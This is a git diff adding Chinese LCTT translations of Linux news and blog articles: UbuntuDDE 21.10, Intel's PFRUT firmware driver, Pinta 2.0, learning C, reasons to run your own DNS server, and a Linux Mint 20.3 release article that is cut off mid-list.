+有了最新的深度桌面,你也可以期待最新的软件包,包括更新的深度商店等等。 + +![][5] + +新的壁纸应该可以让你使桌面看起来很有美感。 + +![][6] + +#### 更新的软件包 + +Firefox 95.0 是默认的网页浏览器。LibreOffice 7.2.3.2 是默认的办公应用程序。 + +此外,你会发现其他几个与深度操作系统相关的软件包已经更新到最新版本。 + +#### 其他改进措施 + +不仅仅限于新增加的内容,你还会发现针对 UbuntuDDE 和上游深度桌面体验的错误修复。 + +你可以通过 [官方公告博文][7] 了解更多关于该版本的信息。 + +### 下载 UbuntuDDE Remix 21.10 + +你可以从其官方网站上抓取 ISO 文件并安装。如果你想了解任何已知的问题,或获得帮助,你可以看看他们的 [论坛或群组][8]。 + +- [UbuntuDDE Remix 21.10][9] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntudde-remix-21-10/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/deepin-20-3-release/ +[2]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/ubuntudde-21-10-terminal.png?w=1001&ssl=1 +[3]: https://news.itsfoss.com/linux-kernel-5-13-release/ +[4]: https://news.itsfoss.com/ubuntu-21-10-release/ +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/ubuntudde-21-10-store.png?w=943&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/ubuntudde-21-10-wallpapers.png?resize=1568%2C691&ssl=1 +[7]: https://ubuntudde.com/blog/ubuntudde-remix-21-10-impish-release-note +[8]: https://ubuntudde.com/support/ +[9]: https://ubuntudde.com diff --git a/published/202201/20220104 Intel is Gearing Up to Give a ‘Superpower- to Linux that Windows Users Don-t Have.md b/published/202201/20220104 Intel is Gearing Up to Give a ‘Superpower- to Linux that Windows Users Don-t Have.md new file mode 100644 index 0000000000..7bb1b8322b --- /dev/null +++ b/published/202201/20220104 Intel is Gearing Up to Give a ‘Superpower- to Linux that Windows Users Don-t Have.md @@ -0,0 +1,81 @@ +[#]: subject: "Intel is Gearing Up to Give a ‘Superpower’ to Linux that Windows Users Don’t Have" +[#]: via: "https://news.itsfoss.com/intel-linux-kernel/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14153-1.html" + +英特尔正准备为 Linux 提供 Windows 用户所没有的 “超能力” +====== + +> 英特尔计划在 Linux 内核 5.17 中引入一个特殊的变化,可以在不重启系统的情况下更新系统固件。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/intel-linux.png?w=1200&ssl=1) + +去年发现的几个安全漏洞,使得系统管理员很难在不停机的情况下迅速修补系统。 + +如果能做出一些改进,在不重启系统的情况下更新一些关键组件以提高安全/性能呢? + +英特尔旨在通过其新的 PFRUT(平台固件运行时更新和遥测Platform Firmware Runtime Update and Telemetry)驱动程序来实现这一目标。 + +### 英特尔计划在 Linux 内核 5.17 中提供 PFRUT + +虽然 Linux 内核 5.16 将在本周晚些时候发布,不过英特尔的目标是将这一新的功能合并到即将发布的 Linux 内核 5.17 稳定版。 + +但是,它究竟是什么? + +有了 PFRUT 驱动,特定组件(或系统固件)可以在系统运行时进行更新,而不需要重新启动。 + +最初,英特尔倾向于将其称为“无缝更新”解决方案。然而,随着最近被添加到 Linux 电源管理的 linux-next 分支中的 Linux 内核提交,他们可能会继续使用一个厂商中立的名字,即 `pfrut_driver`。 + +顺便说一句,linux-next 分支代表着这些变化将进入下一个 Linux 内核稳定版(5.17)。 + +在技术上,这个 [提交][1] 对该变化的解释如下: + +> 用户应该提供 EFI 封包,并通过将该封包写入设备的特殊文件以将其传递给驱动程序。驱动程序在特定的 ACPI 平台固件运行时更新 ACPI Platform Firmware Runtime Update设备(INTC1080)的 ACPI _DSM 方法的帮助下,将封包传输到平台固件,而实际的固件更新是由平台固件中的低级管理模式代码进行的。 + +就像人们通常期望的那样,这应该可以消除停机时间,可以对解决任何安全和性能改进的固件进行基本更新。而且,系统固件更新可以很容易地直接通过操作系统(这里是 Linux)进行。 + +正如其中一个 [详细说明其工作原理的 PDF 文件][2] 中强调的那样,驱动程序的遥测部分是为了 “从 MM 中检索日志信息,以进行监控并找出问题的根本原因”。 + +请注意,这只有在 Linux 系统和英特尔芯片上才能实现。 + +考虑到当你需要修补系统固件以抵御安全问题时,等待系统上的任务完成不是一种理想状况,这种能力的增加应该是非常方便的。 + +### 这是为 Linux 桌面或服务器准备的吗? + +该改进主要是为服务器专用硬件量身定做的。 + +英特尔的官方文件指出,这是为具有高服务水平协议(SLA)的系统准备的,这种 SLA 需要尽量减少重启。 + +然而,这对拥有企业级系统的特定桌面用户群应该也是有用的。 + +虽然这可能不是桌面 Linux 发行版必不可少的东西,但它可能是改善用户体验的一个令人兴奋的开始。特别是对于热衷于保持系统固件更新而不严重干扰其工作的用户。 + +这也应该可以引入更多类型的更新的可能性,当涉及到 BIOS 或 UEFI 时,可以由操作系统而不是主板处理。 + +这不仅限于为你的桌面配置服务器级别的硬件的 Linux 桌面用户。 + +虽然目前只限于 Linux 系统,但这也应该很快可以用于 Windows 和其他操作系统。 + +你对英特尔推出的这一变化有何看法?你认为这是对系统固件更新处理方式的一个重大改进吗? + +欢迎在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/intel-linux-kernel/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm.git/commit/?h=linux-next&id=0db89fa243e5edc5de38c88b369e4c3755c5fb74 +[2]: https://uefi.org/sites/default/files/resources/Intel_MM_OS_Interface_Spec_Rev100.pdf diff --git a/published/202201/20220104 Pinta 2.0 is a Major Upgrade With GTK 3 Port and Improved HiDPI Support.md b/published/202201/20220104 Pinta 2.0 is a Major Upgrade With GTK 3 Port and Improved HiDPI Support.md new file mode 100644 index 0000000000..ff964dfb6b --- /dev/null +++ b/published/202201/20220104 Pinta 2.0 is a Major Upgrade With GTK 3 Port and Improved HiDPI Support.md @@ -0,0 +1,87 @@ +[#]: subject: "Pinta 2.0 is a Major Upgrade With GTK 3 Port and Improved HiDPI Support" +[#]: via: "https://news.itsfoss.com/pinta-2-0-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14150-1.html" + +Pinta 2.0 发布,移植到 GTK 3,改进了 HiDPI 支持 +====== + +> 随着最新版本的发布,Pinta 终于带来了视觉上的更新和改进、移植到了 GTK 3 和 .NET 6。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/pinta-2.jpg?w=1200&ssl=1) + +新的一年的一周,你是否正在期待一些最新的开源应用发布。 + +你很幸运,Pinta 在新年前就宣布了他们的重大升级版本。 + +Pinta 是一个轻量级的绘画应用,可以作为一个简单的图像编辑工具。作为 [顶级开源绘画应用][1] 之一,Pinta 的新版本将其基础转移到 GTK3 和 .NET 6,并带来了一些新的功能和用户界面改进。 + +它是一个跨平台的开源应用程序,可用于 Linux、Windows 和 MacOS。 + +让我们来看看 Pinta 2.0 提供了什么。 + +### 有什么新变化? + +![Pinta 2.0][2] + +#### GTK3 移植 + +如上所述,Pinta 现在已经被移植到了 GTK3,应该可以支持 GTK3 主题。虽然这可能不会带来巨大的变化,但作为一个 Linux 的原生应用程序,肯定会对体验有所改善。 + +GTK 对话框和小工具也得到了相应的调整。这包括增加了 GTK 字体选择器,取代了旧的文本工具,并使用了平台原生的文件对话框。 + +#### 用户界面的改进 + +在用户界面方面,有许多变化和改进。其中一些包括: + + * 使用 HiDPI 显示器的用户或许遇到的问题更少 + * 一些工具现在使用旋转按钮而不是组合框 + * 可以在状态栏上查看位置、缩放和调色板等信息 + * 调色板现在显示最近使用的颜色 + * 使用鼠标中键,你可以轻松地缩放和平移画布 + * 取消了 “插件” 和 “最近打开” 菜单项 + +如果你使用 macOS,你可以注意到它使用了全局菜单而不是应用程序菜单,使其看起来更干净。 + +#### 其他改进措施 + +这个版本还改进了油漆桶、选择工具和魔杖工具的性能,也修复了大量的错误。 + +Windows 和 macOS 版本也得到了改进和更新。 + +你可以参考 [官方发布说明][3] 了解更多技术细节。 + +### 下载 Pinta 2.0 + +我觉得将 Pinta 移植到 GTK3 的决定会受到用户的欢迎,但由于 [GTK 4.0][4] 已经崭露头角,是否有点太晚了?让我们拭目以待。 + +总的来说,这个版本为用户的桌面外观提供了统一性。Pinta 2.0 看起来是一个做了有益改进的可靠版本。 + +你可以以 Flatpak、Snap、Tarball 等以及其它用于 Linux 的软件包格式下载 Pinta 2.0。 + +Windows 和 macOS 用户可以使用各自的安装程序,现在它捆绑了所有必要的依赖,如 GTK 和 .NET / Mono。 + +- [下载 Pinta 2.0][5] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/pinta-2-0-release/ + +作者:[Rishabh Moharir][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/open-source-paint-apps/ +[2]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/Pinta2.0.png?w=1120&ssl=1 +[3]: https://www.pinta-project.com/releases/2-0 +[4]: https://news.itsfoss.com/gtk-4-release/ +[5]: https://www.pinta-project.com/releases/ diff --git a/published/202201/20220105 5 ways to learn the C programming language in 2022.md b/published/202201/20220105 5 ways to learn the C programming language in 2022.md new file mode 100644 index 0000000000..4276e9abfe --- /dev/null +++ b/published/202201/20220105 5 ways to learn the C programming language in 2022.md @@ -0,0 +1,59 @@ +[#]: subject: "5 ways to learn the C programming language in 2022" +[#]: via: "https://opensource.com/article/22/1/c-programming" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14175-1.html" + +2021 总结:学习 C 语言编程的 5 种方法 +====== + +> 只需掌握一点 C 语言的知识,你就可以做很多事情。 + +![](https://img.linux.net.cn/data/attachment/album/202201/13/192104tb962skk0mm4r44q.jpg) + +我精通几种编程语言,但我最喜欢的是 C 语言。C 语言开发于 20 世纪 70 年代,作为一种系统编程语言,在 2021 年仍然是最受欢迎的编程语言之一。如果你想探索 C 语言的几个特点,可以从去年的这些热门文章开始: + +### 在 C 语言中使用 getopt 进行短选项解析 + +如果你的程序每次运行时都能对用户作出反应,你就可以使它变得更加灵活。让你的用户告诉你的程序使用什么文件或如何以不同的方式做事情。为此,你需要读取命令行。[这篇文章][2] 告诉你如何使用 `argv` 直接读取命令行,并使用 `getopt` 读取短命令行选项。 + +### 在 Linux 中用 ncurses 定位屏幕上的文本 + +大多数 Linux 工具只是从屏幕的底部滚动文本。但如果你想在屏幕上定位文本,比如游戏或数据显示,该怎么办?这就是 [ncurses][3] 的作用。 + +### 用 DOS conio 开始编程 + +C 语言并不只适用于 Linux。你可以在许多操作系统上找到 C,包括 DOS。许多 C 程序员控制控制台输入和输出的标准方法是使用 `conio` 库。学习如何 [使用 conio` 来更新 DOS 程序的控制台][4],包括文本颜色和文本窗口。 + +### 使用位域和掩码编写国际象棋游戏 + +在 C 语言程序中关联信息的标准方法是使用一个结合了两个或多个相关字段的结构体。例如,你可以用一个结构体来跟踪棋盘上的棋子。但是有一种更直接的方法来跟踪同样的信息,同时使用更少的数据和内存。使用 [二进制位域和掩码][5],你可以存储一个单一的值来识别每个方格中的棋子和颜色。 + +### C 语言编程中的 5 个常见错误以及如何修复它们 + +即使是最好的程序员也会产生编程错误。根据你的程序所做的事情,这些 bug 可能会引入安全漏洞,导致程序崩溃,或产生意外的行为。但是,通过一点额外的代码,你可以避免最常见和最严重的 C 语言编程错误。这里有 [五个可能破坏你的应用的 bug 以及你如何避免它们][6]。 + +只需一点 C 语言知识,你就可以做很多事情。探索新的方法,为你的下一个 C 语言编程项目增加功能。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/c-programming + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hot drink at the computer) +[2]: https://opensource.com/article/21/8/short-option-parsing-c +[3]: https://opensource.com/article/21/8/ncurses-linux +[4]: https://opensource.com/article/21/9/programming-dos-conio +[5]: https://opensource.com/article/21/8/binary-bit-fields-masks +[6]: https://opensource.com/article/21/10/programming-bugs diff --git a/published/202201/20220105 Why might you run your own DNS server.md b/published/202201/20220105 Why might you run your own DNS server.md new file mode 100644 index 0000000000..5143255abf --- /dev/null +++ b/published/202201/20220105 Why might you run your own DNS server.md @@ -0,0 +1,202 @@ +[#]: subject: "Why might you run your own DNS server?" +[#]: via: "https://jvns.ca/blog/2022/01/05/why-might-you-run-your-own-dns-server-/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14165-1.html" + +为什么你要运行自己的 DNS 服务器? +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/10/113033bhek6kfe8ehle0y4.jpg) + +使得 DNS 难以理解的事情之一是它是 **分布式的**。有成千上万(也许是几十万?我不知道!)的权威性域名服务器authoritative nameserver,以及至少 [1000 万个解析器][1]。而且它们正在运行许多不同的软件!不同服务器运行着不同的软件意味着 DNS 的工作方式有很多不一致的地方,这可能导致各种令人沮丧的问题。 + +但是,与其谈论这些问题,我更感兴趣的是弄清楚 —— 为什么 DNS 是分布式的是一件好事? + +### 为什么 DNS 是分布式的是件好事? + +一个原因是 **可扩展性** —— DNS 的分布式设计使其更容易扩展,对故障的恢复能力更强。我发现,尽管 DNS 已经有近 40 年的历史,但它的扩展性仍然很好,这真是令人惊讶。这一点非常重要,但这并不是这篇文章的主题。 + +相反,我想说的是,它是分布式的意味着你可以 **控制** 你的 DNS 的工作方式。你可以向巨大而复杂的 DNS 服务器中添加更多的服务器!添加你控制的服务器! + +昨天我 [在 Twitter 上问][2] 为什么你要运行自己的 DNS 服务器,我得到了很多很好的答案,我想在这里总结一下。 + +### 你可以运行 2 种类型的 DNS 服务器 + +你可以运行 2 种主要类型的 DNS 服务器: + + 1. 如果你拥有一个域名,你可以为该域名运行一个 **权威名称服务器** + 2. 如果你有一台电脑(或一个有很多电脑的公司),你可以运行一个 **解析器** 来为这些电脑解析 DNS。 + +### DNS 不是静态数据库 + +我经常看到 DNS 的 “电话簿” 比喻,域名就像人名,IP 地址就像电话号码。 + +这是一个不错的思维模型。但是,“电话簿” 思维模型可能会使你认为,如果你对 `google.com` 进行 DNS 查询,你将永远得到相同的结果。而这是不正确的。 + +你在 DNS 查询中得到的记录可能取决于: + + * 你在世界的哪个地方(也许你会得到一个离你更近的服务器的 IP 地址) + * 你是否在企业网络里(你可以在其中解析内部域名) + * 该域名是否被你的 DNS 解析器认为是 “坏” 的(它可能被封锁!) + * 之前的 DNS 查询(也许 DNS 解析器正在做基于 DNS 的负载平衡,每次给你一个不同的 IP 地址) + * 你是否在使用机场 Wi-Fi 专属门户(机场 Wi-Fi 会在你登录前以不同的方式解析 DNS 记录,它会给你发送一个特殊的 IP 来重定向你) + * 随便什么 + +你可能想控制你自己的服务器的很多原因都与 DNS 不是一个静态数据库这一事实有关 —— 对于如何处理 DNS 查询,你可能会有不同的选择(无论是为你的域名还是为你的组织)。 + +### 运行权威性名称服务器的理由 + +这些原因并没有任何特定的顺序。 + +对于其中一些原因,你不一定必须要运行你自己的权威名称服务器,你只需选择提供了该功能的权威名称服务器服务就行了。 + +要明确的是:有很多理由 **不** 运行自己的权威名称服务器 —— 我就没有运行,我也不想说服你应该这样做。它需要时间来维护,你的服务可能不那么可靠,等等。 + +#### 原因:安全 + +[这条推文说的很好][3]: + +> [存在] 攻击者通过你的 DNS 供应商的客户支持人员获得 DNS 变更权限的风险,客服本来只应该提供帮助。他们可以被你的 DNS 阻止(也许就是因为缺少这个)。内部可能更容易审计和验证内容。 + +### 原因:你喜欢运行 bind/nsd + +有几个人提到的一个原因是:“我习惯于编写区域文件和运行 `bind` 或 `nsd` ,对我来说这样做更容易。” + +如果你喜欢 bind/nsd 的方式,但又不想运维自己的服务器,有几个人提到,你也可以通过运行一个 “隐藏的主服务器” 来获得 bind 的优势,该服务器存储记录,但从一个 “辅助” 服务器提供所有的实际 DNS 查询。这里有一些我发现的关于配置辅助 DNS 的网页,以 [NS1][4]、[cloudflare][5] 和 [Dyn][6] 作为示例。 + +我真的不知道什么是最佳的权威 DNS 服务器。我想我只在工作中使用过 nsd。 + +#### 原因:你可以使用新的记录类型 + +并非所有的 DNS 服务都支持某些较新的 DNS 记录类型,但如果你运行你自己的 DNS,你就可以支持任何你想要的记录类型。 + +#### 原因:用户界面 + +你可能不喜欢你正在使用的 DNS 服务的用户界面(或 API,或干脆没有 API)。这与 “你喜欢运行 BIND ”的原因差不多,也许你喜欢编写区域文件的方式。 + +#### 原因:你可以自己修复问题 + +当问题出现时,能够自己解决,有一些明显的优点和缺点(优点:你可以解决问题,缺点:你必须解决问题)。 + +#### 原因:做一些奇怪的、自定义的事情 + +你可以写一个 DNS 服务器,做任何你想做的事情,它不一定要只返回一组静态记录。 + +有几个例子: + + * Replit 有一篇博文介绍了 [为什么他们编写自己的权威性 DNS 服务器来处理路由][7] + * [nip.io][8] 将 10.0.0.1.nip.io 映射为 10.0.0.1 + * 我为 [乱用 dns][9] 而写了一个自定义 DNS 服务器 + +#### 原因:省钱 + +权威名称服务器似乎一般按每百万次 DNS 查询收费。比如,似乎 Route 53 每百万次查询收费 0.5 美元,[NS1][10] 每百万次查询收费约 8 美元。 + +我对一个大型网站的权威 DNS 服务器实际需要解决多少次查询没有概念(哪些类型的网站会对其权威 DNS 服务器进行 10 亿次 DNS 查询?可能是很多,但我没有这方面的经验)。但是有几个人在回复中提到成本是一个原因。 + +#### 原因:你可以改变你的注册商 + +如果你为你的域名使用一个单独的权威名称服务器,而不是你的注册商的名称服务器,那么当你转移到一个不同的注册商时,你所要做的就是把你的权威 DNS 服务器设置为正确的值,从而使你的 DNS 恢复正常。你不需要迁移你所有的 DNS 记录,那非常痛苦。 + +但你不需要为此而运行你自己的名字服务器。 + +#### 原因:地理 DNS + +你可能想根据客户的位置为你的域名返回不同的 IP 地址,给他们一个离他们很近的服务器。 + +这是很多权威的域名服务器服务所提供的服务,你不需要为此而专门运行名字服务器。 + +#### 原因:避免针对他人的拒绝服务攻击 + +许多权威 DNS 服务器是共享的。这意味着,如果有人攻击 `google.com` 或其他的 DNS 服务器,而你恰好在使用同一个权威 DNS 服务器,你可能会受到影响,即使攻击不是针对你。例如,2016 年的这次 [对 Dyn 的 DDoS 攻击][11]。 + +#### 原因:把所有的配置放在一个地方 + +有一个人提到,他们喜欢把所有的配置(DNS 记录、let's encrypt、nginx 等)放在一台服务器上的同一个地方。 + +#### 另类原因:把 DNS 当作 VPN 使用 + +显然,[iodine][12] 是一个可以让你通过 DNS 隧道传输流量的权威 DNS 服务器,它可以让你像 VPN 一样与外界联系, + +### 运行解析器的原因 + +#### 原因:隐私 + +如果有人能看到你所有的 DNS 查询,他们就有你(或你组织中的每个人)正在访问的所有域名的完整列表!你可能更愿意保持这种隐私。你可能更愿意保持这种隐私。 + +#### 原因:阻止恶意网站 + +如果你运行你自己的解析器,你可以(通过不返回任何结果)拒绝解析你认为 “坏” 的域名的 DNS 查询。 + +几个你可以自己运行(或只是使用)的解析器的例子: + + * [Pi-Hole][13] 阻止广告商 + * [Quad9][14] 阻止做恶意软件/网络钓鱼/间谍软件的域名。 Cloudflare 似乎有一个 [类似的服务][15] + * 我想也有一些企业安全软件会阻止那些托管恶意软件的域名的 DNS 查询 + * DNS 不是静态数据库。它是非常动态的,答案往往实时取决于查询的 IP 地址、内容服务器的当前负载等。除非你将这些记录的服务委托给做出这些决定的实体,否则很难实时实现。 + * DNS 委派控制使访问控制非常简单。从区域中切下的部分都由控制委派服务器的人控制,所以对一个主机名的责任是隐含在 DNS 委派中的。 + +#### 原因:在 nginx 中获得动态代理 + +这里有一个很酷的故事,来自 [这条推文][16]: + +> 我在一个应用程序中写了一个 DNS 服务器,然后把它设置为 nginx 的解析器,这样我就可以获得动态的后端代理,而不需要 nginx 运行 lua。Nginx 向应用程序发送 DNS 查询,应用程序查询 Redis 并作出相应的反应。这对我正在做的事情来说,效果非常好。 + +#### 原因:避免恶意解析器 + +一些 ISP 运行的 DNS 解析器会做一些不好的事情,比如把不存在的域名指向他们控制的 IP,向你显示广告或他们控制的奇怪的搜索页面。 + +使用你控制的解析器或你信任的另一个解析器可以帮助你避免这种情况。 + +#### 原因:解析内部域名 + +你可能有一个内部网络,其域名(比如 `blah.corp.yourcompany.com`)并不在公共互联网上。为内部网络中的机器运行你自己的解析器,就有可能访问这些域名。 + +无论是访问只在本地的服务,还是为公共互联网上的服务获得本地地址,你都可以在家庭网络中做同样的事情。 + +#### 原因:避免你的 DNS 查询被中间人劫持 + +有一个人 [说][17]: + +> 我在我的局域网路由器上运行了一个解析器,它的上游使用了基于 HTTPS 的 DNS(DoH),所以物联网和其他不支持 DoH 或 DoT 的设备不会在外面喷射明文 DNS 查询。 + +### 就是这样 + +对我来说,探索 DNS 的 “原因” 感觉很重要,因为它是一个如此复杂凌乱的系统,我认为大多数人如果不理解为什么这些复杂的东西是有用的,就很难有动力去学习这么复杂的主题。 + +感谢 Marie 和 Kamal 对这篇文章的讨论,也感谢 Twitter 上提供这些原因的所有人。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/01/05/why-might-you-run-your-own-dns-server-/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://www.icann.org/en/blogs/details/ten-million-dns-resolvers-on-the-internet-22-3-2012-en +[2]: https://twitter.com/b0rk/status/1478490484406468614 +[3]: https://twitter.com/thatcks/status/1478503078680838153 +[4]: https://help.ns1.com/hc/en-us/articles/360017508173-Configuring-NS1-as-a-secondary-provider-a-k-a-Creating-secondary-zones- +[5]: https://blog.cloudflare.com/secondary-dns-a-faster-more-resilient-way-to-serve-your-dns-records/ +[6]: https://help.dyn.com/standard-dns/dyn-secondary-dns-information/ +[7]: https://blog.replit.com/dns +[8]: https://nip.io +[9]: https://jvns.ca/blog/2021/12/15/mess-with-dns/ +[10]: https://ns1.com/plans +[11]: https://en.wikipedia.org/wiki/DDoS_attack_on_Dyn +[12]: https://github.com/yarrick/iodine +[13]: https://pi-hole.net/ +[14]: https://www.quad9.net/ +[15]: https://developers.cloudflare.com/1.1.1.1/1.1.1.1-for-families +[16]: https://twitter.com/jordanorelli/status/1478795241876504577 +[17]: https://twitter.com/passcod/status/1478806468539269120 diff --git a/published/202201/20220106 Linux Mint 20.3 -Una- Releases With Cinnamon 5.2, Theme Refresh, and a New Document Manager.md b/published/202201/20220106 Linux Mint 20.3 -Una- Releases With Cinnamon 5.2, Theme Refresh, and a New Document Manager.md new file mode 100644 index 0000000000..3d7fab59bb --- /dev/null +++ b/published/202201/20220106 Linux Mint 20.3 -Una- Releases With Cinnamon 5.2, Theme Refresh, and a New Document Manager.md @@ -0,0 +1,136 @@ +[#]: subject: "Linux Mint 20.3 “Una” Releases With Cinnamon 5.2, Theme Refresh, and a New Document Manager" +[#]: via: "https://news.itsfoss.com/linux-mint-20-3-una-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14155-1.html" + +Linux Mint 20.3 “Una” 发布 +====== + +> Linux Mint 20.3 “Una” 有一些细微的视觉变化,弥补了现代外观,以及新的应用改进。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-1.png?w=1200&ssl=1) + +代号为 “Una” 的 Linux Mint 20.3 终于来了。官方公告应该很快就会跟进,但它现在已经可以下载了! + +虽然 [Linux Mint 20.2][1] 有一些令人印象深刻的改进,但 Linux Mint 20.3 看起来也是一个不错的版本。 + +在这里,我会重点指出 Linux Mint 20.3 的关键变化。 + +### Linux Mint 20.3 的新变化 + +![][2] + +在这个版本中,Linux Mint 20.3 包含了最新的 Cinnamon 5.2,一些细微的视觉变化,以及其他各种改进。 + +请注意,在 Xfce 和 MATE 版中的变化是一样的(不包括桌面环境的具体改进)。 + +#### Cinnamon 5.2 桌面环境 + +在 Cinnamon 5 中,增加了一些调整和管理桌面环境所消耗资源的功能。 + +这一次,升级的重点是几个新功能。日历小程序增强了功能,当你点击系统时间/日期图标时,可以直接从系统托盘上显示事件。 + +如果你使用 GNOME 日历或在线账户(如 Google 日历),这些事件应该是同步的。 + +![][4] + +除此以外,你还会发现 Nemo 文件管理器的改进和窗口动画的细微变化。 + +还有一些必要的错误修复和总体上的小改进。 + +#### 新的背景 + +新的版本、新的壁纸,总是令人耳目一新。而且,Mint 20.3 也不会让你失望。 + +![][5] + +你会得到一个精心策划的美妙的壁纸集,你可以选择使用。 + +#### 视觉主题刷新及深色模式 + +![][6] + +在 Linux Mint 20.3 中,主题已经进行了改造,对重点颜色轻微进行了重新处理(使其更时尚一些),并从一些小部件中删除了它。 + +与窗口的圆角一起,这构成了一个更干净和现代的外观。 + +总的来说,包括新的图标,Linux Mint 20.3 带来了一个新的主题包。 + +如果你想要同样的外观,同时保持其他的优点,你可以简单地从仓库安装传统主题包并应用它。 + +![][7] + +一旦你安装了传统主题包,就可以在选择中找到它了。 + +![][8] + +不仅如此,你可以注意到,我更喜欢用深色模式的截图来写文章,因为 Linux Mint 20.3 终于把更多的注意力放在深色模式上! + +一些默认的应用程序,如 Hypnotix、Gnome 终端、Celluloid,都是在启用深色模式的情况下启动的。如果你愿意,你可以永久地禁用它们。 + +### 新的 Thingy 应用程序 + +当 Clem(Linux Mint 的首席开发者)暗示会有一个新的惊喜应用时,我们 [很快就在 Linux Mint 20.3 里发现了它][9]。 + +在稳定版更新之前,测试版就已经确认了它。 + +![][10] + +新的 Thingy 应用程序也被称为 “Library”,它实际上是 Linux Mint 默认的文档管理器。你可以下载电子书和其他 PDF 文件,Library 应用应该会自动从下载目录中检测到它。 + +#### 应用程序的改进 + +![][11] + +一些默认的应用程序,如 Hypnotix IPTV 播放器和便签现在可以分别让你搜索频道或便签。 + +### 其他改进 + +其他一些改进有助于提高性能,更好地节省电力,以及更多。 + +考虑到它是基于 Ubuntu 20.04.3 的,带有 Linux 内核 5.4 LTS。 + +![][12] + +你可以在官方公告帖子中找到更多关于这些变化的信息。 + +### 下载 Linux Mint 20.3 + +你可以从官方主页上下载 ISO。他们还没有更新下载页面,但你可以从他们的 [Torrent 下载页面][13] 找到最新的 ISO。 + +如果你想要直接的下载链接,你可以看一下 [全球镜像][14] 来获得所有的 Linux Mint 版本。 + +- [Linux Mint 20.3][15] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-20-3-una-release/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/linux-mint-20-2-release/ +[2]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3.png?w=1394&ssl=1 +[3]: https://i0.wp.com/i.ytimg.com/vi/tT45WSef8zQ/hqdefault.jpg?w=780&ssl=1 +[4]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-cinnamon-calendar.png?w=651&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-backgrounds.png?w=927&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-file-manager.png?w=946&ssl=1 +[7]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-legacy-theme.png?w=684&ssl=1 +[8]: 